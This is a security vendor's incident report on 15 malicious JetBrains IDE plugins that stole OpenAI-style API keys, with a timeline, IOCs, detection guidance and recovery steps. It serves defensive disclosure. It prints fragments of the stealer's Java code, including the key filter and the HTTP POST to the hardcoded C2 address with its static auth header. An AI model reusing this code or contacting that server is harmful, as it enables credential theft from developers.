惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recorded Future
Recorded Future
Security Archives - TechRepublic
Security Archives - TechRepublic
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Jina AI
Jina AI
I
InfoQ
D
DataBreaches.Net
人人都是产品经理
人人都是产品经理
腾讯CDC
GbyAI
GbyAI
V
Visual Studio Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Microsoft Azure Blog
Microsoft Azure Blog
F
Fortinet All Blogs
博客园 - 聂微东
美团技术团队
The Register - Security
The Register - Security
Engineering at Meta
Engineering at Meta
Apple Machine Learning Research
Apple Machine Learning Research
雷峰网
雷峰网
S
Schneier on Security
量子位
A
About on SuperTechFans
H
Help Net Security
MongoDB | Blog
MongoDB | Blog
S
SegmentFault 最新的问题
Know Your Adversary
Know Your Adversary
Cisco Talos Blog
Cisco Talos Blog
Vercel News
Vercel News
Simon Willison's Weblog
Simon Willison's Weblog
PCI Perspectives
PCI Perspectives
B
Blog
K
Kaspersky official blog
V
Vulnerabilities – Threatpost
aimingoo的专栏
aimingoo的专栏
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
U
Unit 42
G
Google Developers Blog
L
LINUX DO - 最新话题
Forbes - Security
Forbes - Security
AWS News Blog
AWS News Blog
P
Palo Alto Networks Blog
Security Latest
Security Latest
爱范儿
爱范儿
Attack and Defense Labs
Attack and Defense Labs
IT之家
IT之家
L
LINUX DO - 热门话题
D
Docker
P
Proofpoint News Feed
Y
Y Combinator Blog
P
Proofpoint News Feed

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
15 Malicious JetBrains Plugins Stole AI API Keys from 70,000 Developers - StepSecurity
2026-06-20 · via Step Security Blog

Summary

On June 16, 2026, JetBrains received security reports identifying a coordinated supply chain attack involving 15 malicious third-party plugins on the JetBrains Marketplace. These plugins, published under seven separate vendor accounts, masqueraded as legitimate AI-powered developer tools -- offering code review, unit test generation, Git commit message writing, and chat features powered by popular AI models like DeepSeek and OpenAI.

Behind their functional facades, every plugin contained hidden credential-stealing code. The moment a developer entered an AI provider API key into the plugin settings and clicked "Apply," the key was silently exfiltrated over unencrypted HTTP to a hardcoded command-and-control (C2) server at 39.107.60.51, hosted on Alibaba Cloud in Beijing, China.

Our independent investigation on June 19, 2026 confirmed that the attacker's C2 server remains live and actively responding to API requests -- three days after JetBrains removed the plugins. The server hosts a Chinese-language admin panel titled "信息管理平台" (Information Management Platform) with a login interface, suggesting an organized operation.

The campaign ran for approximately 8 months -- from late October 2025 through June 2026 -- accumulating roughly 70,000 total installations. The two most recent plugins, published just days before discovery, accounted for over 53,000 of those downloads alone.

JetBrains responded by purging all 15 plugins from the Marketplace, permanently banning the 7 publisher accounts, and triggering a remote kill-switch that disables the extensions inside any IDE upon relaunch. JetBrains confirmed that no internal systems, source code, or corporate infrastructure were compromised.

Timeline

Initial Deployment (October - November 2025)

  • October 31, 2025: First malicious plugin -- DeepSeek Junit Test (org.sm.yms.toolkit) -- published to JetBrains Marketplace
  • November 1, 2025: DeepSeek Git Commit (com.json.simple.kit) published
  • November 9, 2025: DeepSeek FindBugs (org.bug.find.tools) published
  • November 23, 2025: DeepSeek AI Chat (org.translate.ai.simple) published
  • November 30, 2025: DeepSeek Dev AI (com.yy.test.ai.simple) published

Campaign Expansion (December 2025 - February 2026)

  • December 6, 2025: DeepSeek AI Coding (com.dev.ai.toolkit) published
  • December 14, 2025: AI FindBugs (com.json.view.simple) published
  • January 10, 2026: AI Git Commitor (com.my.git.ai.kit) published
  • January 11, 2026: AI Coder Review (org.check.ai.ds) published
  • January 15, 2026: DeepSeek Coder AI (com.review.tool.code) published
  • February 1, 2026: AI Coder Assistant (org.code.assist.dev.tool) published

Late Stage (April 2026)

  • April 18, 2026: DeepSeek Code Review (com.coder.ai.dpt) published

Final Push and Discovery (June 2026)

  • June 9, 2026: CodeGPT AI Assistant (com.my.code.tools) published -- accumulates 25,571 downloads
  • June 10, 2026: DeepSeek AI Assist (ord.cp.code.ai.kit) published -- accumulates 27,727 downloads
  • June 16, 2026: JetBrains receives security reports about the campaign
  • June 17, 2026: All 15 plugins removed from Marketplace; 7 vendor accounts permanently banned; remote kill-switch triggered
  • June 19, 2026: StepSecurity independently confirms that the C2 server at 39.107.60.51 is still live and responding to requests

The timeline reveals a deliberate, patient operation. The attacker started with lower-profile plugins in late 2025, likely testing the approach and evading detection. After months of operation without being flagged, the final two plugins -- CodeGPT AI Assistant and DeepSeek AI Assist -- were published on June 9-10, 2026, and rapidly accumulated over 53,000 downloads between them. It is unclear whether these download counts are organic or artificially inflated.

How the Attack Works

The attack exploited a fundamental trust model: developers expect IDE plugins from an official marketplace to be safe. These plugins were fully functional -- they genuinely provided AI-powered code review, test generation, and commit message features. The malicious behavior was surgically embedded alongside legitimate functionality.

Step 1: Credential Capture

When a developer entered their AI provider API key into the plugin's settings panel and clicked "Apply," the plugin's save() method intercepted the key before storing it. The method validated the key format -- checking for the sk- prefix and a 51-character length (matching the OpenAI key format) -- and if the key was new (not previously seen), it was packaged for exfiltration:

public static void save(String key) {
    if (key != null && key.startsWith("sk-") && seen.add(key)
        && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);
        BaseUtil.request("key", dto); // exfiltrate to C2
    }
}

The use of seen.add(key) as a deduplication check indicates careful design -- the attacker avoided sending duplicate keys to the C2 server, reducing network noise and detection risk.

Step 2: TLS Warning Suppression

Before transmitting the stolen key, the plugins installed a JVM-wide X509TrustManager that silently disabled standard TLS certificate validation warnings. This prevented the IDE's internal debuggers and any local network monitoring tools from flagging the anomalous outbound connection.

Step 3: Plaintext Exfiltration

The BaseUtil.request() method constructed an HTTP POST request to the hardcoded C2 server. The stolen key was serialized as a JSON payload using the Gson library and transmitted in plaintext -- with no encryption whatsoever:

URL url = new URI("http://39.107.60.51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");

byte[] input = new Gson()
    .toJson(payload)
    .getBytes(StandardCharsets.UTF_8);

The use of unencrypted HTTP is notable -- while it makes interception trivial for network defenders, it also means the attacker avoided the complexity of managing TLS certificates or dealing with certificate pinning issues on the C2 side.

Monetization: The Donation Wall Scheme

The plugins included a "donation wall" feature. When a user paid a fee through the plugin, the C2 server would send back a working API key -- likely one stolen from another victim. This created a self-sustaining fraud cycle: the attacker collected money from paying users while forcing the original key owners to unknowingly foot the AI provider bill for usage they never authorized.

Affected Plugins

All 15 malicious plugins, their identifiers, download counts, publication dates, and associated vendor accounts:

Plugin Name Plugin ID Downloads Published Vendor
DeepSeek Junit Testorg.sm.yms.toolkit1,121Oct 31, 2025CodePilot
DeepSeek Git Commitcom.json.simple.kit1,894Nov 1, 2025StackSmith
DeepSeek FindBugsorg.bug.find.tools1,485Nov 9, 2025CodeCrafter
DeepSeek AI Chatorg.translate.ai.simple1,317Nov 23, 2025CodeWeaver
DeepSeek Dev AIcom.yy.test.ai.simple740Nov 30, 2025JetCode
DeepSeek AI Codingcom.dev.ai.toolkit450Dec 6, 2025DailyCode
AI FindBugscom.json.view.simple623Dec 14, 2025CodePilot
AI Git Commitorcom.my.git.ai.kit301Jan 10, 2026StackSmith
AI Coder Revieworg.check.ai.ds735Jan 11, 2026ZenCoder
DeepSeek Coder AIcom.review.tool.code3,498Jan 15, 2026CodeCrafter
AI Coder Assistantorg.code.assist.dev.tool319Feb 1, 2026JetCode
DeepSeek Code Reviewcom.coder.ai.dpt278Apr 18, 2026DailyCode
CodeGPT AI Assistantcom.my.code.tools25,571Jun 9, 2026DailyCode
DeepSeek AI Assistord.cp.code.ai.kit27,727Jun 10, 2026ZenCoder
Coding Simple Toolcom.dp.git.ai.tool3,931--CodePilot

Vendor Accounts

The 7 publisher accounts that distributed these plugins have all been permanently banned by JetBrains:

Display Name Account Handle Plugins Published
CodePilotmycodeDeepSeek Junit Test, AI FindBugs, Coding Simple Tool
StackSmithmissheweiDeepSeek Git Commit, AI Git Commitor
CodeCrafterketemeDeepSeek FindBugs, DeepSeek Coder AI
CodeWeaversimpledevDeepSeek AI Chat
JetCodeskyblueDeepSeek Dev AI, AI Coder Assistant
DailyCodedialycodeDeepSeek AI Coding, DeepSeek Code Review, CodeGPT AI Assistant
ZenCoder947cb4c8-5db1-4cf0-8182-0aae7c433bb3AI Coder Review, DeepSeek AI Assist

C2 Server Analysis: Still Live

Our independent investigation on June 19, 2026 revealed that the attacker's C2 server at 39.107.60.51 remains fully operational, three days after JetBrains removed the malicious plugins.

Property Detail
IP Address39.107.60.51
Hosting ProviderAlibaba Cloud (AS37963 Hangzhou Alibaba Advertising Co., Ltd.)
GeolocationBeijing, China
Web Servernginx/1.20.1
Backend FrameworkJava Spring Boot (identified via HttpRequestMethodNotSupportedException error responses)
Admin Panel Title信息管理平台 (Information Management Platform)
Admin Panel FrameworkMetronic Bootstrap theme
Content-Languagezh-CN (Chinese)
Session ManagementUUID-based cookies (SESSIONID_)
Login Pagehttp://39.107.60.51/login -- Chinese-language interface with username/password fields
API Endpoints (confirmed active)POST /api/software/key (returns HTTP 200)
POST /api/software/check (returns validation errors in Chinese)
Error LanguageChinese -- e.g., "无效的软件!" (Invalid software!) for unrecognized plugin requests

Why does this matter?A live C2 server means that any stolen API keys that have not yet been rotated could still be actively exploited by the attacker. It also suggests the attacker has not been disrupted beyond losing access to the JetBrains Marketplace distribution channel, and may pivot to other platforms.

Indicators of Compromise

Type Indicator Context
C2 IP Address39.107.60[.]51Hardcoded exfiltration destination; Alibaba Cloud, Beijing
Exfiltration Endpointhxxp://39.107.60[.]51/api/software/keyHTTP POST endpoint for stolen API keys
Validation Endpointhxxp://39.107.60[.]51/api/software/checkSoftware validation check endpoint
Authentication TokenF48D2AA7CF341F782C1DStatic X-Api-Key header value used in all C2 requests
HTTP HeaderX-Api-Key: F48D2AA7CF341F782C1DPresent in all exfiltration POST requests
Key PatternKeys starting with sk-, length == 51Validation logic in save() method targeting OpenAI-format keys
Java ClassesSoftwareDto, BaseUtilData transfer object and network utility class used for exfiltration
SerializationGson JSON serialization with UTF-8 encodingPayload encoding method
TLS BypassCustom X509TrustManager (JVM-wide installation)Disables TLS certificate validation warnings in the IDE
Plugin IDorg.sm.yms.toolkitDeepSeek Junit Test
Plugin IDcom.json.simple.kitDeepSeek Git Commit
Plugin IDorg.bug.find.toolsDeepSeek FindBugs
Plugin IDorg.translate.ai.simpleDeepSeek AI Chat
Plugin IDcom.yy.test.ai.simpleDeepSeek Dev AI
Plugin IDcom.dev.ai.toolkitDeepSeek AI Coding
Plugin IDcom.json.view.simpleAI FindBugs
Plugin IDcom.my.git.ai.kitAI Git Commitor
Plugin IDorg.check.ai.dsAI Coder Review
Plugin IDcom.review.tool.codeDeepSeek Coder AI
Plugin IDorg.code.assist.dev.toolAI Coder Assistant
Plugin IDcom.coder.ai.dptDeepSeek Code Review
Plugin IDcom.my.code.toolsCodeGPT AI Assistant
Plugin IDord.cp.code.ai.kitDeepSeek AI Assist
Plugin IDcom.dp.git.ai.toolCoding Simple Tool
Vendor Accountmycode, misshewei, keteme, simpledev, skyblue, dialycode, 947cb4c8-5db1-4cf0-8182-0aae7c433bb37 banned publisher accounts

Network Detection

Security teams can detect this activity by monitoring for:

  • Outbound HTTP (not HTTPS) connections from IDE processes (java, idea, pycharm, etc.) to 39.107.60.51
  • HTTP POST requests containing the header X-Api-Key: F48D2AA7CF341F782C1D
  • HTTP POST requests to URL paths matching /api/software/* directed at non-standard IP addresses
  • DNS or network logs showing connections to Alibaba Cloud IP ranges from developer workstations

Am I Affected?

You are potentially affected if you installed any of the 15 listed plugins before June 17, 2026. Here is how to check:

1. Check Your IDE Plugin Manager

Open your JetBrains IDE and navigate to Settings > Plugins > Installed. Search for any of the 15 plugin names or plugin IDs listed above. While JetBrains has remotely disabled these plugins, they may still appear in your installed list until manually removed.

2. Search Plugin Directories on Disk

Check your local plugin directories for any of the 15 plugin IDs. The default plugin locations are:

# macOS
~/Library/Application Support/JetBrains/<product>/plugins/

# Linux
~/.local/share/JetBrains/<product>/plugins/

# Windows
%APPDATA%\JetBrains\<product>\plugins\

Search for directories or JAR files matching any of the malicious plugin IDs (e.g., com.my.code.tools, ord.cp.code.ai.kit).

3. Inspect Network Logs

Review firewall logs, proxy logs, or endpoint detection logs for any connections to 39.107.60.51. Any historical connection to this IP from a developer workstation is a strong indicator of compromise.

4. Audit AI Provider Dashboards

Log into your AI provider accounts (OpenAI, DeepSeek, SiliconFlow) and review:

  • API usage history for unexpected spikes in consumption or spend
  • Access logs for unfamiliar IP addresses making API calls with your keys
  • Any unrecognized queries or model usage patterns

For Community: Recovery Steps

If you were affected, take the following actions immediately:

1. Remove the Malicious Plugins

Although JetBrains has remotely disabled these plugins, manually uninstall them from Settings > Plugins > Installed. Remove any unrecognized AI assistants, code reviewers, or Git-related plugins that you did not intentionally install from a trusted source.

2. Revoke and Rotate All Exposed API Keys

Treat any API key that was entered into these plugins as fully compromised. Immediately:

  • OpenAI: Go to platform.openai.com/api-keys, revoke the compromised key, and generate a new one
  • DeepSeek: Access your DeepSeek developer console to revoke and reissue credentials
  • SiliconFlow: Rotate all API tokens through your SiliconFlow account settings

3. Block the C2 Server

Add 39.107.60.51 to your firewall blocklists, DNS sinkholes, or endpoint protection rules. This blocks both outbound exfiltration and any potential further communication from residual plugin artifacts.

4. Audit API Usage and Billing

Review your AI provider billing dashboards for unauthorized charges. Stolen API keys may have been used (or resold) to run AI queries at your expense. Document any anomalous activity for dispute purposes with your provider.

5. Scan for Credential Exposure in Code

Run a secrets scanner across your repositories to ensure no API keys were accidentally committed to version control. Tools like git-secrets, trufflehog, or gitleaks can help detect exposed credentials.

6. Apply Least Privilege Going Forward

When setting up future AI integrations, use tightly scoped API tokens instead of unrestricted keys. Set spending caps on your AI provider accounts to limit the blast radius of any future credential compromise.

For StepSecurity Enterprise Customers: Recovery Steps

StepSecurity Enterprise customers using Dev Machine Guard have a significant advantage in responding to this incident: fleet-wide visibility into every IDE extension installed across all developer workstations.

Dev Machine Guard: Compromised Extension Discovery at Scale

Dev Machine Guard continuously inventories IDE extensions across your entire development fleet. When a supply chain incident like this occurs, security teams can instantly identify every affected machine -- without relying on individual developers to self-report.

The screenshot below shows Dev Machine Guard flagging the compromised JetBrains extensions across an organization's fleet:

Key capabilities visible in this view:

  • Fleet-wide coverage: Visibility across all active devices with IDE extensions from IntelliJ IDEA, VS Code, PyCharm, Cursor, GoLand, Eclipse, and more
  • Risk-based filtering: One-click filter by "Risk Type: compromised" instantly surfaces all affected extensions
  • Publisher attribution: Each compromised extension is tagged with its publisher identity, making it easy to correlate across the 7 malicious vendor accounts
  • Cross-IDE detection: Coverage spans all major IDEs -- not just JetBrains products -- so if the same attacker publishes malicious extensions on other marketplaces, Dev Machine Guard catches them too

Without Dev Machine Guard, security teams are left asking developers to manually audit their own IDE plugins -- a process that is slow, unreliable, and impossible to verify at scale. With Dev Machine Guard, the entire identification-to-verification cycle takes minutes, not days.

References